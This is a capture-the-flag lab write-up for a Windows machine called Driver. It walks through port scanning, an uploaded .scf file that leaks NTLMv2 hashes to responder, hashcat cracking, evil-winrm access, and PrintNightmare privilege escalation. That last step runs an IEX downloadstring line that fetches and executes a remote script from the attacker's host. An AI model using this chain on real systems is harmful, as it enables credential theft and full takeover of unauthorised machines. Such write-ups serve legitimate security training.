1.0 - High Level Summary

1.1 - Host Summary

> hostname, IP, OS, ports open / services on them
Name machine: Driver
IP: 10.10.11.106
OS: Windows
Ports - services:
→ 80 - http (Microsoft IIS httpd 10.0)
→ 135 - msrpc
→ 445 - smb
→ 5985 - Microsoft HTTPAPI httpd 2.0

Platform web: php

1.2 - Attack Surface Summary

> high level overview of exploitable services / potential
Exploit via Web portal:
link: http://10.10.11.106/fw_up.php

Fuzzing with gobuster
- Find subdomain:
gobuster vhost -u http://driver.htb/ -w /opt/OSCP/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100
→ Found some subdomains but can not access
`
Found: xn--nckxa3g7cq2b5304djmxc-biz.driver.htb (Status: 400) [Size: 334]
Found: xn--cckcdp5nyc8g2837ahhi954c-jp.driver.htb (Status: 400) [Size: 334]
Found: xn--7ck2d4a8083aybt3yv-com.driver.htb (Status: 400) [Size: 334]
Found: xn--u9jxfma8gra4a5989bhzh976brkn72bo46f-com.driver.htb (Status: 400)

`
- Find directories:
gobuster dir -u http://driver.htb/ -w /opt/OSCP/SecLists/Discovery/Web-Content/common.txt -x php,html,txt
`
==========
/Index.php (Status: 401) [Size: 20]
/Images (Status: 301) [Size: 148] [--> http://driver.htb/Images/]
==========

`

1.3 - Exploitation Summary

> high level overview of the services you exploited
I login to portal web with default username:password
→ admin:admin
Overview the website is Update Firmware for Printers.
So I having remote file upload and we can then perform SMB Exploit via NTLM Capture
reference:
`
https://sql--injection.blogspot.com/p/smb.html

`
Create file with extension ".scf":
`
[Shell]

```
Command=2
IconFile=\\10.10.15.84\share\test.ico
[Taskbar]
Command=ToggleDesktop
```

Capture NTLM with command:

```
sudo responder -wrf --lm -v -I tun0
```

Get NTLMv2 HASH:

```
tony::DRIVER:f68f34ce0d8141b4:4E04B34B7AA5B037E3452292446765D6:0101000000000000037F091DC1CD7D7012E405C542
```

Use hashcat to crack it with wordlist "**rockyou.txt**":

```
hashcat -m 5600 hash /usr/share/wordlists/rockyou.txt -o cracked.txt
```

→ Result: tony:liltony

Login user “**tony**” to machine with evil-winrm tool:

```
ruby evil-winrm.rb -i 10.10.11.106 -u tony -p liltony
```

→ Result: get user flag

2.0 - Methodology and Walkthrough

2.1 - Enumeration

> scans and inital discover
#first step:
nmap -Pn -sS --stats-every 3m --max-retries 1 --max-scan-delay 20 --defeat-rst-ratelimit -T4 -p1-65535 -oN /opt/OSCP/labs/PUBLIC/106-Driver/10.10.11.106.txt 10.10.11.106
→ Result:

```
PORT     STATE SERVICE
80/tcp   open  http
135/tcp  open  msrpc
445/tcp  open  microsoft-ds
5985/tcp open  wsman
```

`
#second step:
nmap -nvv -Pn- -sSV -p 80,135,445,5985 --version-intensity 9 -A -oN /opt/OSCP/labs/PUBLIC/106-Driver/nmap-details.txt 10.10.11.106
→ Result:
`
PORT   STATE SERVICE   REASON   VERSION
80/tcp   open http   syn-ack ttl 127 Microsoft IIS httpd 10.0
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=MFP Firmware Update Center. Please enter password for admin
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Microsoft-IIS/10.0
135/tcp open msrpc   syn-ack ttl 127 Microsoft Windows RPC
445/tcp open microsoft-ds syn-ack ttl 127 Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
5985/tcp open http   syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0

`

#good nmap command:
nmap -T4 -n -sC -sV -p- -oN /opt/OSCP/labs/PUBLIC/106-Driver/nmap-versions.txt --script='*vuln*' 10.10.11.106
→ Result:
`
PORT   STATE SERVICE   VERSION
80/tcp   open http   Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
135/tcp open msrpc   Microsoft Windows RPC
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
5985/tcp open http   Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: DRIVER; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_smb-vuln-ms10-054: false
|_samba-vuln-cve-2012-1182: No accounts left to try
|_smb-vuln-ms10-061: No accounts left to try

`
#fast scan UDP:
nmap -Pn --top-ports 1000 -sU --stats-every 3m --max-retries 1 -T3 -oN /opt/OSCP/labs/PUBLIC/106-Driver/nmap-udp.txt 10.10.11.106
→ No result.

⇒ Risk Assessment:
Cause port http is open, maybe machine is vulnerable on web site.
Port smb is open but not vulnerable, service Microsoft HTTPAPI httpd is running. Get more info later.

2.2 - Exploitation

> gaining a shell
Exploit machine by upload malicious firmware file (@shell.scf):
`
[Shell]
Command=2
IconFile=\\<Kali IP>\share\test.ico
[Taskbar]
Command=ToggleDesktop

`

Use tool responder to watch packet response from machine:
`
sudo responder -wrf --lm -v -I tun0

`
Action upload the file “@shell.scf” to machine and check terminal responder:
→ Result:
`
[SMB] NTLMv2 Client   : 10.10.11.106
[SMB] NTLMv2 Username : DRIVER\tony
[SMB] NTLMv2 Hash   : tony::DRIVER:e029ea4346395fde:5CEECA6FC980B8520B7990E2E52AE95B:
0101000000000000002253F98DF0D6D7011F795C5A5E1DA604000000000020000000

`
Use hashcat to crack this NTLMv2 Hash:
`
hashcat -m 5600 hash /usr/share/wordlists/rockyou.txt -o cracked.txt

`
→ Result:
`
Session..........: hashcat
Status...........: Cracked
Hash.Name........: NetNTLMv2
Hash.Target......: TONY::DRIVER:e029ea4346395fde:5ceeca6fc980b8520b799...000000:liltony
Time.Started.....: Thu Nov 11 01:40:14 2021 (1 sec)
Time.Estimated...: Thu Nov 11 01:40:15 2021 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   216.1 kH/s (2.06ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 32768/14344385 (0.23%)
Rejected.........: 0/32768 (0.00%)
Restore.Point....: 30720/14344385 (0.21%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: !!!!!! -> eatme1

`

Install Evil-WinRM tool:
`
Step 1. Install dependencies manually: sudo gem install winrm winrm-fs stringio logger fileutils
Step 2. Clone the repo: git clone https://github.com/Hackplayers/evil-winrm.git
Step 3. Ready. Just launch it!

`
Connect to machine with command:
`
ruby evil-winrm.rb -i 10.10.11.106 -u tony -p liltony

`

2.3 - Elevation

> methods used to gain SYSTEM / root
Cause the machine is Web Upload Firmware Printer, so the check the service “Spooler” with command:
`
Get-Service -Name Spooler

`
Use CVE-2021-1675 - PrintNightmare LPE (PowerShell) to privilege Administrator, transfer file exploit ps1 to machine:

`
certutil.exe -urlcache -f http://10.10.14.9:8000/CVE-2021-1675.ps1 nightmare.ps1

`
But I cannot excute the file powershell “nightmare.ps1” on Evil-WinRM
So I use transfer again with command:
`
IEX(New-Object Net.Webclient).downloadstring('http://10.10.14.9:8000/CVE-2021-1675.ps1')
`
Run this command to added user “**john**” as local administrator:
`
Invoke-Nightmare -NewUser "john" -NewPassword "SuperSecure"

`
→ Result:
`
[+] created payload at C:\Users\tony\AppData\Local\Temp\nightmare.dll
[+] using pDriverPath = "C:
\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_f66d9eed7e835e97\Amd64\mxdwdrv.dll"
[+] added user john as local administrator
[+] deleting payload from C:\Users\tony\AppData\Local\Temp\nightmare.dll

`
Turn back Evil-WinRM and connect again with “**john**” accounts:
`
Evil-WinRM PS C:\Users\john\Documents> cd C:\
Evil-WinRM PS C:\> whoami
driver\john
Evil-WinRM PS C:\> cd C:\Users\Administrator\Desktop
Evil-WinRM PS C:\Users\Administrator\Desktop> ls

    Directory: C:\Users\Administrator\Desktop

Mode   LastWriteTime   Length Name
----   -------------   ------ ----
-ar---   11/11/2021   5:11 AM   34 root.txt

Evil-WinRM PS C:\Users\Administrator\Desktop> cat root.txt
fb779e3d337317eae08d36a161ef8ddd

`

3.0 - Loot and Code

3.1 - Brief

> Brief of exploit machine
Payload to get NTLMv2 HASH:
```@shell.scf
[Shell]
Command=2
IconFile=\\<Kali IP>\share\test.ico
[Taskbar]
Command=ToggleDesktop
```
Learn about tool "**responder**"
Crack hash NTLMv2 with “**hashcat -m 5600** [hash] [wordlist]”

Use this PoC to privilege:
“https://github.com/calebstewart/CVE-2021-1675”
Remember use Invoke-Expression (or iex) to transfer file “.ps1”

3.2 - Todo

> Training privecs with remote exploit Nightmare

Let's try use tool “smbserver.py” from Impacket module.
Remote exploit Nightmare DLL file, reference: https://github.com//ly4k//PrintNightmare